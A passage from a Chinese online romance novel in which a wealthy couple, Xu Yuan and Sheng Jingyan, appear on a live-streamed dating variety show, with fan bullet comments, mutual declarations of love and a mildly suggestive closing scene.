盛景炎为她捏着腰还不忘提一句:“摄像师就在门外,你赖在这里不起的话,猜猜看那群人又要脑补什么了。” 许愿:“……” 她可太知道了。 在CP粉的眼里他们肯定都已经DO好几次了是吧。 真就不能把脑子里的黄水都晃出去吗,真的很让人无语啊。 许愿叹了口气:“穿衣服。” 她还是那副懒洋洋的模样,盛景炎也习惯了,抱着她洗漱过后给她穿衣服的时候还不忘吃几口豆腐,亲亲这里捏捏这里的,惹得许愿想拍他的手,瞪了他好几眼。 盛景炎特地挑了件高领的果绿色衬衫搭配一条浅绿色的纱裙,她其实更喜欢红色,但柜子里还真没有能遮住脖颈的红衬衫或者红裙子,不过绿色她也是喜欢的。 她眉眼艳丽,穿上绿色的衣服显得整个人更白,有点白的发光的感觉,不过这颜色的衣裙衬得她愈发清丽柔美,许是因为自身带着点慵懒的劲儿,更是勾人。 盛景炎忍不住握住她的手腕凑近亲了亲。 “你又亲我!” 许愿哼他一声想推开他,盛景炎摸摸鼻子觉得自己有点无辜。 “阿愿,我进来这么久,那群人早就觉得我们亲好几次了,我就只是这么亲了一口。”盛景炎装可怜的时候确实有模有样的。 许愿呵了一声,直接捏住他下巴凑过去亲他的唇,说是亲其实是咬,硬是在他唇上留下了有点明显的牙印儿。 盛景炎没推开她,反倒是抱的更紧了。 “要我抱你出去还是自己走出去?”他问。 许愿直接跳下床去,只是腿还是有点软,难免想到昨晚盛景炎是怎么胡闹的,又抬头瞪他一眼,带着几分娇嗔之意。 盛景炎看她这副模样就想笑,许愿不想理他,她头发是黑长直,天生就很顺滑,随便梳了疏就开了房门。 摄影师就站在门口,镜头都是对着门的,许愿这么突然出来,镜头几乎是直接怼到了许愿那张素净却美艳的脸上。 弹幕这一瞬间几乎没有人发消息了。 许愿很漂亮,这是很多人都知道的事。 温栩栩在娱乐圈被称作神颜,但许愿跟温栩栩一起上综艺完全没有被碾压,甚至可以说是平分秋色,这是多恐怖且多令人震撼的颜值? 那时候追过综艺的还有人嘴硬说许愿化妆了才显得那么好看。 现在呢? 许愿是纯素颜,甚至脸上的水珠都能看清楚,眉毛并没有画过的痕迹是那种纤细的柳叶弯眉,黛色的弯眉自带几分柔美的魅惑。 那双漆黑的瞳眸清冷漂亮,仿佛内里都藏着闪烁光亮的光辉,眼睫毛很长,镜头怼的这样近,眼睫像是蝶羽一般微微上挑卷曲的,是很多人接眼睫毛后都没有的效果,那样自然漂亮。 鼻子高挺,唇瓣是那种比樱花粉深一点的唇色。 五官精致大气,即便是此刻被镜头直接怼到面前也丝毫不见慌乱,而是微抬眉梢,唇角勾勒出几分浅淡的笑意。 笑吟吟的模样只是让人看着便觉得心跳忍不住加速,不受控制的去抚摸自己的心口。 完全的美艳暴击,哪怕距离镜头这样近,都有一种如梦似幻的错觉,仿佛他们之间隔着千层纱布一般,朦朦胧胧看不真切却又忍不住为她这样的容貌倾倒。 突然就明白了,为什么会有那么多人见到许愿后会深爱她追求她。 没人在骨不在皮,可当对方不仅皮相骨相是美的,就连灵魂和精神内核也是强大且坚韧的,那谁会不爱? 直播间里的人看到这一幕完全控制不住的大叫几声。 {疯了疯了真的疯了啊!我没想到许总会漂亮到这种程度啊!} {我……我真的很想暗杀盛景炎啊!能不能让许总当我老婆!盛景炎你上辈子做了多少好事这辈子才能跟我们许总在一起!} {救命,我就算是做梦也不敢让自己长这样呜呜呜,女娲甩泥点子甩出的我吧!} {这是什么,超绝大美女!亲一口!亲两口!亲三口!} {节目组你们能把许愿请来你们做什么都是对的!} {我要求不高真的,下辈子让我有许总一半的美貌我就谢天谢地了,辛苦各位神明听听我的祷告} 第820章 实锤 弹幕全都在刷许愿的美貌,许愿还是那副冷冷淡淡的模样,看到摄像师微微颔首打了声招呼。 “大家都在看了吗?”她开口。 {在看了!许总我们组团来看你啊!} {感谢许总!因为许总我妈的癌病治好了,我家也不用卖房子了!许总好人一生平安!} {许总,基金会建立的公司盈利的越来越多,我们也可以帮助更多人了!} 弹幕不仅有CP粉,还有曾因为许愿获利的普通人,粉丝已经去超话乃至发帖喊话告知大家许愿和盛景炎参加了这档节目,自然就有人冲过来看,直播间都快要背挤爆了。 许愿看不到弹幕和评论区,笑了笑打了声招呼:“大家好啊,给大家介绍一下我和阿炎的公寓。” 评论区纷纷刷没有住别墅吗。 摄影师为了满足粉丝的要求问出口。 “别墅和庄园其实是有的,只是我比较懒会觉得那边有点偏僻,所以住在这里,这里距离盛世很近不用太折腾,早上可以晚起很久。” 这回答真的非常真实了。 哪怕打工狗也想多睡一段时间。 许愿才想带着摄影师逛一逛其它房间,盛景炎就已经走出来了,抬手就摁住她的肩膀,语气带着点无奈的诱哄:“阿愿,先吃了午餐再逛好不好,你早餐就没有起来吃,对胃不好。” 许愿想了想,是有点饿了,便听话坐下来。 盛景炎做的都是她爱吃的,许愿其实不爱吃生食,但她又喜欢三文鱼,所以盛景炎每次都会煎一块三文鱼。 许愿用餐的时候盛景炎已经给她倒好热牛奶,碟子里的虾也剥好了放到她碟子中,以免她在沾手。 盛景炎这些举动十分自然,仿佛已经习惯这样照顾她了,完全不觉得有什么不对。 许愿也习惯他的投喂,两人自然到像是多年的老夫老妻。 许愿习惯只吃七分饱,剩下的几块肉几口青菜就进了盛景炎的肚子里,又是自然而然的举动。 盛景炎去收拾碗碟,许愿则是带着摄影师在房间内乱转,摄影师还当她要给自己看什么,结果门被打开就是一屋子的娃娃,各种各样的玩偶和棉花娃娃。 摄影师:“……” 许愿有一屋子娃娃的事情他是知道的,他还当许愿要炫富给他看珠宝什么的,结果是一屋子娃娃。 可见价值连城的珠宝首饰在许愿这里都排不上号,或许还不如盛景炎送的这些娃娃重要。 “许总,听说您还有个专门的珠宝房,介意让我们拍一下看看吗?”摄影师看到弹幕有人在刷想看许愿的珠宝首饰。 许愿顿了下:“可以是可以,主要是这里的不全,只有一小部分,其它的都在另一栋别墅。” 摄影师觉得自己嗓子有点发干:“一栋别墅……专门放珠宝?” 许愿看他一眼:“也不是,一半区域放珠宝。” 摄影师:“……” 好的,对不起,他是普通人,不太懂你们有钱人的生活。 许愿见他一定要看这里的珠宝首饰就带他去了,弹幕又是一通乱刷。 {我!知道许总很有钱,但我没想到许总能有钱到这种地步,那颗蓝宝石是海蓝之心吧,才被拍出不久价值连城的海蓝之心,现在就出现在这里了!} {好多红钻……许总喜欢红色这件事绝对实锤了。} {那翡翠镯子……一看就绝对是上等货,就这些都只是许总的冰山一角……是我不懂许总的资产了。} 许愿没什么心情介绍这些,见摄影师有兴趣拍就没拦着。 盛景炎这时候已经在收拾两人的行李了,摄影师拍完珠宝首饰还在里面走不出来,这会儿进了两人房间,看到盛景炎在给许愿收拾衣服,挑的都是这样高领的衣服和长裙,摄影师跟着拍。 倏地有粉丝眼尖的看到衣柜里面的几件衣服。 {是我看错了吗……猫耳发箍……皮衣还有学生制服……啊这个,嘿嘿嘿对不起容我想多一点吧。} {天王老子来了也是他们两个人晚上DO了啊啊啊,我要发疯现在就要发疯!} {看的出来两位生活的很幸福了……我真的羡慕死了,羡慕盛总有许总这么漂亮优秀的老婆同时还羡慕许总有盛总这么帅的老公,我是酸鸡,我是酸柠檬……} {盛总……该说不愧是江老中医说的身体很好的那类嘿嘿。} 弹幕说什么盛景炎和许愿自然是不知道的,盛景炎已经把东西收拾的差不多了,将行李箱收好后就给自己随便挑了几件装到小行李箱里面。 很典型的我好不好看无所谓,我老婆一定要美。 接下来是但人才房时间,许愿坐在沙发上,她怀里抱着抱枕还是有点慵懒的感觉。 分配到这里的导播问她:“许总之前有跟盛总一起去旅游过吗?” 许愿歪了下头像是想了一下:“我跟盛景炎确实没有出去旅游过,这也是我们为什么答应你们节目的原因,我们也想休息一下散散心了。” 她和盛景炎的开始比较复杂,那时候跟傅京礼刚离婚,盛景炎最初追求她的时候抱着利用她的目的,后来两人才走的越来越近。 他们在一起后又有那么多的事情,哪有时间旅行呢?更不要说后来盛景炎还断了腿。 导播开口:“许总和盛总看起来都很忙,你们有时间兼顾彼此的感情吗?有时候会不会觉得烦躁呢?” 许愿扬眉:“没有吧,我已经习惯这种工作强度了,而且我的职业经理人可都不是白拿高薪的,我和他就算是忙每天也会忙里偷闲的一起吃饭或者一起散步,工作和感情当然能够兼顾的。” 此刻评论区的粉丝纷纷发表自己看法。 {许总当然习惯这工作强度了,可别忘了许总以前在傅氏的时候有多拼啊……} {说起来,盛总有许总这样的恋人应该是很幸福的的吧。} 有人这时候就挑刺。 {我要有许愿这么多钱我也能兼顾事业的同时还陪我爱人,关键是我有这么多钱吗?} 这就是酸鸡杠精。 立刻就有人喷他了。 第821章 盛景炎撒娇黏人 {你当许愿为什么能有这么多钱?拜托,她大学的时候许家就已经不给她钱了!她自己打工兼职赚了生活费和创业基金才一步步有了今天,人家自己拼出来的你也要喷,你怎么不试试白手起家呢?你有这脑子吗?你能研究什么药物吗?你要有许愿这能耐国家直接给你发个大别墅啊!} 那人顿时不吭声了,显然也是知道自己理亏的。 有些人就是自己过的不如意,网络上看到其他人过的多幸福就会控制不住的想发泄想辱骂,这人嘲讽许愿就是因为这个原因。 但他明显也知道许愿是有真材实料的,所以也只能不了了之。 导播观察着弹幕呢,看到那人被喷的闭麦了也就没在意,继续问许愿:“旅游的话,许总有没有什么想去的地方?” 许愿愣了下继而笑了一声:“我对去哪里旅游其实不怎么挑,只要环境足够优美然后有阿炎就够了。” 她对这个确实不怎么挑,比起独自看那些美好的风景,她更希望身边的爱人陪自己一起。 导播笑了笑:“那许总方便说一说盛总三个优点三个缺点吗?” 许愿似乎是没想到对方会问到这些,思索片刻才开口:“优点的话,长得好,身材好,很聪明很深情很温柔……啊抱歉我有点说多了一点。” {嘿嘿我们不介意许总多说一点的!我们爱听!} 弹幕的观众爱听,导播也爱听啊,导播问:“那盛总的缺点呢?” 许愿有点为难:“那大概就是很黏人、爱撒娇、喜欢装委屈,是个戏精吧。” 弹幕: {?啊?这也是缺点吗?} {黏人,爱撒娇,装委屈?这不是大猫猫什么是大猫猫!我靠我现在就要猫塑盛总!} {细说黏人爱撒娇嘿嘿,我想听,什么时候黏人撒娇啊,秒懂了!} {我真的太喜欢看他们两个了,真的好般配啊!我好爱!} {哈哈哈说优点的时候说一堆,说缺点的时候说的这么可爱,完全的情人眼里出西施啊,许总真的爱惨盛总了!} 导播也是被她这话逗笑了。 接下来就是采访盛景炎。 许愿就坐在他对面喝果汁,果汁还是方才盛景炎才刚给她鲜榨的。 还是那几个问过许愿的问题。 提到想去什么地方旅游的时候盛景炎回答:“其实不是很在意去什么地方旅游的事,我的话可能更在意陪在我身边的是不是阿愿,如果是跟阿愿在一起的话就算每天在楼下的公寓公园散心我也会觉得比旅游更开心。” 好的,鉴定恋爱脑一枚。 导播提到优点缺点的时候盛景炎特别离谱的看了导播一眼:“优点的话三个怎么够,成百上千个我都能说,你知道褒义词吧,所有好的褒义词都可以用来形容阿愿,至于缺点,阿愿没有缺点!” 弹幕忍俊不禁。 {哈哈哈哈哈哈哈我真的要笑死了,什么鬼啊优点三个不都要成百上千个,简直就离谱啊!} {这摆明了就是超爱许总的,是的,他就是超爱!谁再说我们盛总和许总不恩爱呢?眼睛不需要的话捐给有用的人啦!} {盛总超大声:我老婆没有缺点!} 导播无奈:“盛总,麻烦您配合一下,哪怕一个缺点呢。” 盛景炎看看对面,正对上许愿含笑的眼睛,似乎在等着他说缺点。 盛景炎有些无奈的捏了捏眉心:“其实一定要说的话那大概也有。” 导播赶紧追问:“是什么?” “大概是阿愿总是给我一种不真实的感觉吧,不知道你们有没有这种感受,就是会觉得她过于完美了,完美到你觉得自己本来好像根本就留不住她。” “她漂亮、优秀、聪慧,她的优秀程度你们也略有耳闻,不管她有没有我其实都可以过的很好,会有很优秀的追求者,大家都会爱她喜欢她。” “有时候我会觉得自己是可有可无的,我对阿愿来说大概没有那么重要,因为没有我还会有其他人,他们每一个都很优秀……” 导播听得有些恍惚,弹幕也觉得好像确实是这样。 盛景炎能跟许愿在一起,很多人说的都是盛景炎运气真好啊能够跟许愿在一起,而许愿呢,身边太多的追求者了,一直爱她的前夫傅京礼、姜家家主姜明烨、宋家唯一的继承人宋观鱼,甚至其它地方他们不知道的还有很多人在追求许愿。 这样漂亮优秀的人从来不缺追求者。 没有盛景炎,姜明烨和宋观鱼也会顶上来,或者……许愿也可能跟傅京礼复婚。 许愿听到这些突然站起来直接走到他面前,镜头出现了许愿的面容。 她此刻似乎是有点不高兴,眉头是皱的,带着点冷感,她捧住盛景炎的脸,就这样凑得很近的看他。 “可是命运就是这样奇妙的东西啊,我们就是在那个时候相遇了,早于那些人让我们相爱,我们就是会更有缘分。” “你知道的,如果我喜欢一个人的话那就很难改掉了,只要你不伤害我,我会一直喜欢你,跟你在一起一辈子,盛景炎,你会伤害我吗?会背叛我吗?”她问的这样认真且真挚。 盛景炎眸光微暗,他嗓音带着点微微的哑意。 “你知道的,我宁愿伤害自己也不会去伤害你。” “那我们这辈子都会在一起,所以不要去想我会离开你的事,我认定的事是绝不会反悔的。” 许愿眼底都带着明显的笑意,就这样笑望着他,带着缱绻的情意。 弹幕已经开始控制不住的暴风尖叫。 {救命啊啊啊!} {有没有人管管啦!以后偶像剧就照着他们这样的找好吗!学一学我们许总的眼神!这才是爱!是深爱啊!} {真的太懂盛总的感受了,因为许总优秀到什么程度?优秀到可能上面都想把她藏起来的程度,这时候许总坚定不移的选择他,不管发生什么都选择他,这种爱真的很难让人不磕啊。} 观众都在看着直播,只是这样看着都会觉得心尖颤动,因为他们的感情而兴奋激动。 第822章 快被这口糖甜齁了 许愿其实是很宠盛景炎的,特别宠那种。 许愿她本人内核就很强大,强大到什么地步呢?强大到好像什么事什么人都不能把她打倒、 当初被海外资本强行围攻,被莱蒂斯针对的时候她都没有低头,甚至能够在最短的时间内想到了应对的策略,并用极短的时间建立了属于自己的商业帝国,各种设计陷害通通被她躲过去,大概是许愿脑子确实好使,所以比起这些,她更在意人的情感。 她的恋爱脑其实很多人都清楚。 恋爱脑不算是完全的贬义词,可这也算是许愿为数不多的缺点了。 如果她遇到也同样爱她的男人,那她的恋爱脑未尝不是救赎。 就如现在,盛景炎跟她是如出一辙的恋爱脑,他们都更在意彼此,许愿在意盛景炎,所以盛景炎说的那些话她才会这样在意。 直到现在盛景炎好像还是没有安全感。 事实如此。 当一个人优秀到你可能无法企及的高度时你就算作为对方的伴侣也会不停的问自己,你真的配得上她吗?真的能够留在她身边吗? 有些男性在遇到那样优质的女性后,他们会做的就是打压她们甚至PUA她们,一遍又一遍的说着你没那么优秀,甚至从长相从相貌或者从事业来入手嘲讽,一步步的让对方完全进自己的圈套只能被自己圈禁其中,让她们成为自己的所有物。 甚至用妻子或者孩子母亲的称呼来“物化”她们。 一次次的说你工作就不是个合格的母亲合格的妻子,你不工作就对家庭没有付出全都是我养着你。 所以哪怕最开始再强大的人也会慢慢的自我否定,自卑,甚至自我厌弃,到了那个时候她们才可能真的完全离不开那些男性。 像是灵魂完全被重塑成了男性最爱的模样。 他们逼迫你们只能被关在家里,打压自己的爱人得到了成就感。 爱人再也比不上自己,所以才会让自己更加骄傲更加自豪。 外面再多的事,只要想起家里面还有个人可以任由他欺凌就好像没什么事过不去。 他们这种人的背后必定会有一个委曲求全不停后退的女人。 盛景炎和许愿则不痛。 首先许愿这样的人,没有任何人能够打压她,任谁都能看得出许愿的价值,且就算真的能够打压盛景炎也不会去做这种上不得台却又令人作呕的事。 他对许愿一直都是欣赏的态度去对待她。 在他眼里大概许愿画画只能画外星人,盛景炎都能笑着夸她画的外星人都比其他人的外星人更清秀。 他就是这样,给许愿肯定。 阿愿是最漂亮的,阿愿是最可爱的,阿愿是最聪明的,在我心里没有任何事能难倒阿愿。 他这些话说的太多了,就是现场让他夸许愿的眼睛有多漂亮,他都能不带重样的夸上几小时。 “为什么会觉得我优秀所以就这样没有安全感呢。” 许愿捧着他的脸望着他,语气很认真。 “你是最懂我的,如果没有你的话,可能我那段时间就会撑不下去的。” “是你一直在我身边陪着我,你知道我喜欢那些无病呻吟的东西却还是陪着我,哪怕只是躺在房顶看月亮你都是愿意的。” “你在我心里同样优秀同样重要啊,如果我真的因为自己优秀选择跟自己同类的人,那我是不是要跟AI绑定,或者跟我母亲和父亲一直在一起?” “爱人就是爱人啊,不会因为他不如自己优秀就会觉得不能跟自己在一起。” “我们之间难倒不是你一直在迁就我吗。” 许愿此刻贴他贴的很近,唇角凑在他唇边,很轻很轻的亲吻。 “我总是忘记吃饭,是你按时提醒我一日三餐吃饭,我有时做实验就是会自我否定但看到你就会心情很好好像再多的烦恼在看到你那一刻也烟消云散了,我总是会被很多人误解,是你在背后为我疏通关系……我做的很多事情都有你的身影啊。” “如果没有你的话,我不会真的这样潇洒这样开心,盛景炎你懂吗。” 这样的亲吻实在深情缱绻,而她说出口的话也太过深情,好像眼底藏满的都是盛景炎的脸。 对上他的眼就会眉眼弯弯仿佛看到他就会开心,就会忍不住笑。 只有对自己挚爱的人才会如此啊。 “所以不要总是否定自己好不好。” 许愿的指尖摩挲着他略有些干涸的唇瓣:“在我眼里,盛景炎就是最好最好的爱人,我最离不开的就是盛景炎了……” 她嗓音虽然轻缓,但收音设备是能全部收声的。 弹幕都已经彻底疯狂了。 “真的,救救我吧,救救孩子,真的快被这口糖甜齁了!” “其实从最开始盛景炎和许愿之间就一直不被人看好,特别是盛景炎断腿那段时间,十家媒体就要有九家都在看热闹嘲讽许愿不可能一直跟盛景炎在一起,迟早会厌了他是残疾人这件事,可许愿呢?她说自己能治好盛景炎的双腿,那时候多少人看笑话,可结果的?盛景炎真的站起来了,再一次恢复成曾经那个意气风发的模样,许愿说到做到,没有抛弃盛景炎。其实但凡那时候许愿跟盛景炎分手选择姜明烨或者宋观鱼也不会有人说什么,可她就是直面媒体说自己不会离开盛景炎,那样斩钉截铁的许下承诺。她的爱就是最真实的最汹涌的爱,其实许愿一开始就是这样干净的人吧。” “质疑两人感情的人真的太多了,难道最典型的不是盛景炎曾经装纨绔那段时间留下的视频和照片吗?其实真的没有过亲吻照,最多也就是在昏暗灯光下搂抱了下模特,就变成了盛景炎声色犬马不知所谓成为圈内玩的最疯的二代。他们觉得盛景炎配不上这样的许愿,哪怕事实摆在那些人面前,那些人也是不信的,还是要梗着脖子执意开口说盛景炎就是个多情浪子,不配跟许愿在一起。” 第823章 一定要好好爱下去 “盛景炎曾经演戏装纨绔被人嘲讽,许愿离过婚被人嘲讽,盛景炎断腿被人嘲讽,许愿跟许愿人划清界限被人嘲讽……反正就是因为两人太火,所以做什么都要被人盯着然后啐上一口指指点点的说你们做的不对,我都已经看透了,回家吧,回家吧好吗,就没有人比他俩更般配更甜的了!” “正常人谁会在自己年轻健康的时候直接遗嘱写上爱人的名字将一切都留给爱人?且还是个根本没有领证的爱人,当时盛景炎出事,圣家的一切都留给许愿的时候我就知道,他们两个绝对是真爱,现在看了直播更明白他们真的很爱彼此,是绝对离不开对方的那种存在。” “盛景炎真的绝对是上辈子拯救了全宇宙吧……不然怎么会遇到这样优秀的许愿,许愿也是虽然前半生坎坷,可未来她已经有盛景炎了!” “盛景炎真的在患得患失哎,他就是太爱了才会这样,因为太爱了会考虑自己是不是配不上许愿,因为太爱了会觉得是不是哪里做的不催,因为太爱了会一次又一次的怀疑自己……这一切都是对许愿的在意。” “求你们一定要好好爱下去,我会在这里一直祝福你们的!” 弹幕几乎都是在刷祝福的,也有人骂,但马上就会被直播间里面的人回怼回去,根本没有人在意那群人骂什么,几乎都在祝福。 导播趁着这个时间赶紧让人截取了这段视频先做了个引流的先导片,剪辑的就是盛景炎和许愿这一段。 盛景炎叫许愿起床,为她做早餐,甚至患得患失,全都被剪辑进去。 《爱人的浪漫旅行》本就是猫咪台重磅推出的新综艺,且……宋玥导演还特地跟上面打了报告说请出来了两位了不得的人物。 最初曝光参演的嘉宾后,领导确实是满意的。 且这三对都比较满意。 林悠羽和宋明远其实就已经是很有名的艺人了,林悠羽更是红毯上的常驻客,林悠羽不仅是红毯常驻客,更是拍的戏都会被人吐槽说她只会念台词,演技永远是木着一张脸体态也不好,总是除了那一张脸,林悠羽在某些人严重好像就是绝对的一无是处了。 但不可否认,林悠羽绝对有热度,甚至还是一档竞技综艺的常驻嘉宾,说是现在当红的女流量不为过,更是现今娱乐圈爆红的四名女演员之一。 宋明远呢?出道的较早,早早就把握时机成为资本,在圈内很有人脉,就是猫咪台的领导也跟宋明远有交情。 所以林悠羽和宋明远这一对儿被邀请来收视率已经稳了。 但第二对儿领导也很满意。 周鹤瑾和周媛媛更是圈内模范夫妻,都知道周鹤瑾在最红的时候娶了周媛媛后迅速转醒不再拍任何偶像剧,但因为周媛媛早年的作风被扒出,一直都有人在猜测周鹤瑾和周媛媛之间在冷战其实早就没有夫妻爱了。 无数人都在揣测两人关系,偏偏周媛媛还经常在网络上晒幸福日常,是真是假谁也不知道。 而周鹤瑾的社交平台除了周媛媛和儿子生日的时候会发他们,其它的时候就是发工作相关的,甚至都很少跟周媛媛出现在同一档综艺中。 很多人都猜两人已经离婚了,现在宋玥大手一挥把两人都请来参加他们的恋爱旅行节目!这谁不看啊! 第三对呢?沈从和杜佳阮也是流量,且还是最近比较火的,粉丝正多的时候,这档综艺一出来,还能有人不追呢? 猫咪电视台的领导本就关注这档综艺呢,甚至在猜林悠羽宋明远和周鹤瑾周媛媛到底哪一对儿夫妻是宋玥说的王牌。 结果直播当天就听到自己的助理冲进来:“董总!宋导演……她她她!她……” “怎么了?是不是直播综艺出什么事了!”领导大惊。 助理擦了擦自己脸上的冷汗语无伦次半天才开口:“宋导演把许愿和盛景炎请来了!就是你知道的那两个人!” 领导:“……” 什么玩意儿? 把谁请过来了? 不是? 许愿和盛景炎? 领导猜了半天哪一对儿才是宋玥请来的王牌,结果最后来了一对王炸,许愿和盛景炎来了,那王牌只能是这两人啊! 宋玥到底是哪里来的本事请来这两人的!这是通天的人脉啊! 领导激动的身体都颤抖,此刻满面红光,甚至因为此刻过于刺激觉得心口都带着点微微的刺痛感。 “现在就全面跟着这档综艺,一定要让这综艺大爆特爆!我们都有许愿和盛景炎了!一定能让这档综艺在圈子里横着走,其它的直播综艺或者恋爱综艺都没办法跟我们比!” 笑话。 那群人真的想比,有本事把许愿和傅京礼一起请来参加一档复婚综艺才有可能重新大爆了! 否则没可能超过他们。 但凡了解许愿和盛景炎的,没有人会不在意他们! 因为他这话,《爱人的浪漫旅行》本就是S级别的综艺,现在已经全面升级称S+等级的综艺,几乎是整个电视台所有的后勤人员乃至营销部门都需要配合宋玥这档综艺。 足以见得许愿和盛景炎有多火爆。 许愿和盛景炎那边的跟拍导播已经让人截取直播片段剪了那么一段日常的先导片,只是一支几分钟先导片因为带了许愿和盛景炎,直接上了热搜,点击率马上破几十万,且其它营销号闻着味儿赶过来,将这么短短一段先导片又切片放在短视频平台和各类浏览器上。 关于许愿和盛景炎为什么参加恋爱综艺的话题楼也盖了起来。 有人猜是不是因为前阵子许愿和盛景炎在一起后很多人都担心许愿只是玩玩,觉得他们两人在一起的心不诚迟早要分开,所以两人上了综艺来澄清的,也有人猜两人纯粹是想公费旅游。 总之说什么的都有,综艺也彻底红头半边天了。 先导片中的盛景炎对许愿宠之又宠,跟摄影师和导播提到许愿的时候眼里明显带着幸福的笑意。 第824章 盛总想要,盛总得到 盛景炎这人平常对其他人笑起来的时候脸上的冷意其实挺明显的,但只有提到许愿的时候那笑容猜特别真诚,就好像因为许愿,他的整颗心都跟着被软化了。 谁还能说盛景炎不爱许愿只是为了利用许愿呢? 再看许愿,许愿不爱盛景炎吗? 如果不爱许愿怎么会这样在意盛景炎? 甚至因为他那样自嘲的一句话说了那样多来让盛景炎安心。 许愿无非是在哄她的爱人。 “爱人就是爱人啊,不会因为他不如自己优秀就会觉得不能跟自己在一起。” “我们之间难倒不是你一直在迁就我吗。” 许愿就是这样说的。 她能不知道现场都是有直播的吗,她当然知道,就是知道所以才会这样说,就好像是面向大众,告诉所有人自己唯爱盛景炎,而盛景炎就是她最爱最爱的男人,就是公开的告白,表明自己对盛景炎的在意。 就算还有黑粉跳脚嘲讽也没有人信了。 这不是爱什么是爱? 广大网友的眼睛可没有瞎! 甚至有人说,如果许愿和盛景炎也会分开的话,那她就真的不会再相信什么爱情了。 直播还在继续,但来看直播的人越来越多。 直播间甚至拥挤到挂掉了!卡没了! 网友:“?” 垃圾猫咪平台!你们在干什么啊! 你们都把许愿和盛景炎请来了为什么不升级服务器!难道你们不知道这两位是真的王炸级别的!是真的会炸啊! 网民们气的几乎要嗷嗷叫的程度,忍不了一点! #猫咪平台直播崩了# 瞬间就上了热搜。 可以说断在这种时候真的很引起人民公愤的,喷不了一点! 程序员们头都秃了。 在修了在修了,别骂了别骂了! 这事儿能怪程序员吗?宋玥一开始也没说会邀请许愿和盛景炎啊,娱乐圈其他人也没能力造成这样的轰动……除非来的是温栩栩和黎云笙。 程序员被骂的不敢吭声只能憋屈的扩容服务器。 许愿和盛景炎当然不知道直播间被卡没了。 许愿此刻还是目不转睛的看着盛景炎,眉眼弯弯眼底弥漫的都是笑意,如果观察的仔细的话还能看到她眼底都藏匿着明显的纵容之意。 许愿真的很爱盛景炎,她也想让盛景炎知道自己很爱她,所以此刻几乎是毫无保留。 盛景炎喉头微微发堵,他拉拽住许愿的手腕,看着身边还有摄像头,便直接将人拉回主卧然后关上门。 导播:“……” 摄影师:“……” 倒也不必这么防着他们,真要做点什么他们也会转身的……咳,也就偷看一丢丢。 导播助理惊诧:“刚才直播中断了!” 导演也惊讶瞪导播:“你刚才都没发现直播断了吗!” 摄影师:“你们几个不也在吃瓜吗!怎么都怪我了?” 工作人员发愁,无语。 “那刚才那段拍下来了吗?” 导播开口询问,这还挺重要的。 毕竟……嗯,拉着人回主卧那能干什么啊,那估计不是水乳交融就是很缠绵的亲吻了,不直播是怕有些学生看到吧。 但是拽人回主卧这事儿总要拍到,起码要让网民自己去脑补啊。 “摄像头开着呢,也有实时录像功能,你不会连这都不知道吧。”摄影师开始嫌弃导播了。 导播:“……” 急晕了把这一茬忘了。 导播立刻当机立断:“快快快,赶紧把盛景炎拉拽许愿回房间那段截取出来发网上!当先导预告片!” 摄影师:“……”真没见过谁家先到预告片这么奇葩的,一段一段的。 这也就亏了是许愿和盛景炎了,换别的流量明星就等着被喷吧。 “我现在导出视频万一突然直播恢复了呢?”摄影师幽幽开口提醒。 导播哧了一声:“恢复直播?你看他俩短时间内能出来吗?就算真的恢复直播你能拍的也只是门,拍不到其它任何东西。” 摄影师无语。 这没办法,这喷不了,这是真事儿。 摄影师只能赶紧导出那段视频。 还在网络上激情输出猫咪TV猫咪影视不中用的时候《爱人的浪漫旅行》官方号更新了一段新视频。 众人还当是猫咪那边发公告要道歉呢,结果点开一看,赫然就是之前直播中断的时候那段! 这!放在偶像剧和爱情电影里面那就是妥妥的高潮点啊! “嘿嘿,我就是好奇这个时候盛总带着许总进了房间啊,到底去做什么了呢,好难猜哦。” “真的好难猜啊,摄影师能不能怼着门啊,我现在真的很想看他们的那扇门(已经做好计时准备)。” “盛总主动,盛总想要,盛总得到!” “退一万步讲我觉得他们两个人一起生活太孤独了,加我一个吧,我愿意做他们之间的王妈!” 评论区全都在嘿嘿嘿,营销号又火速赶来搬运视频。 所以说请许愿和盛景炎那绝对没请错。 …… 房间内,门被关上许愿就已经被抵到门上,抬头就对上男人那双漆黑幽暗的瞳眸。 他那双眼睛其实平日里看人有点懒散劲儿,好像看谁都深情,像是在嬉戏人间,可真的认真起来的时候就是会带着点凶狠的劲头,就像现在。 许愿对上她这样的眼神,也只是抿了抿唇就已经被盛景炎扣住然后重重的吻了上去。 这个吻步缠绵,只有火热,几乎是要将她整个人吞之入腹的那种亲法。 他甚至觉得自己的身体火热,心口也是火热的,想要抱住她,然后一直抱着她。 被放开的时候许愿喘息着,拽住他的衣领,逼着他凑得更近。 她明明被亲吻的眼尾带着点红,但此刻却并不软弱完全没有被他压制、 她像是在质问。 “为什么总觉得自己配不上我呢?” “盛景炎就是最好的呀,这对我来说就是最好的安排。” 她主动凑上去亲吻他的唇瓣,离开的时候像是故意的咬了一口他的下唇,然后此刻还是望着他看。 “你这样没有安全感,那我以后……每天早上醒来第一件事就是对你说我爱你好不好。” 第825章 因为你不乖 盛景炎没有安全感她就给他安全感,她可以每天给他很多很多的爱。 每天对他说我爱你,让他知晓自己的心意,她觉得这是很浪漫的事。 盛景炎就这样看着她,因为她的话呼吸跟着一滞,此刻就这样定定的看着她,深邃的眼眸中完完全全只有许愿,心跳都在这一刻格外清晰。 他一直觉得自己很幸运,因为自己的爱人是许愿。 他一直都知道许愿很好很好,特别是现在会更觉得他的阿愿就是最好的,她永远会在意自己,会因为自己的情绪来回应自己,会在自己最渴望他的爱的时候倾注一切。 他总是能很快得到许愿的回馈。 此刻有些微微的怔愣,喉结上下滚动,声音都带着些许沙哑:“阿愿……” 他只是这样唤了一声,许愿拽住他的衣领,盛景炎俯身,许愿的唇落在他的脖子上,然后吻了吻他的喉结,启唇像是很轻很轻的舔咬。 盛景炎能明显感觉到脖颈处传来一阵酥麻,身体不由自主的绷紧,手更用力的搂住许愿的腰,呼吸本就有些乱,现在愈发乱了,仿佛身体的温度都在跟着逐渐升高,声音沙哑带着压抑的欲望。 “阿愿,你这样,是真的不想继续参加节目录制了吗。” 他的手握紧她的腰,忍不住捏了把。 “因为你不乖。”她没有化妆的时候其实身上是带着点冷感的,此刻眼睛微微眯起明显都带着一点生人勿进的冷意,若是其他人看到可能真的以为许愿不想让人接近,但现在在她面前的是盛景炎,她好像故意做出这幅姿态,声音也带着点冷意。 可明明是语气里面带着冷意,却又添着几分撩拨之意。 一句话说的像是调情。 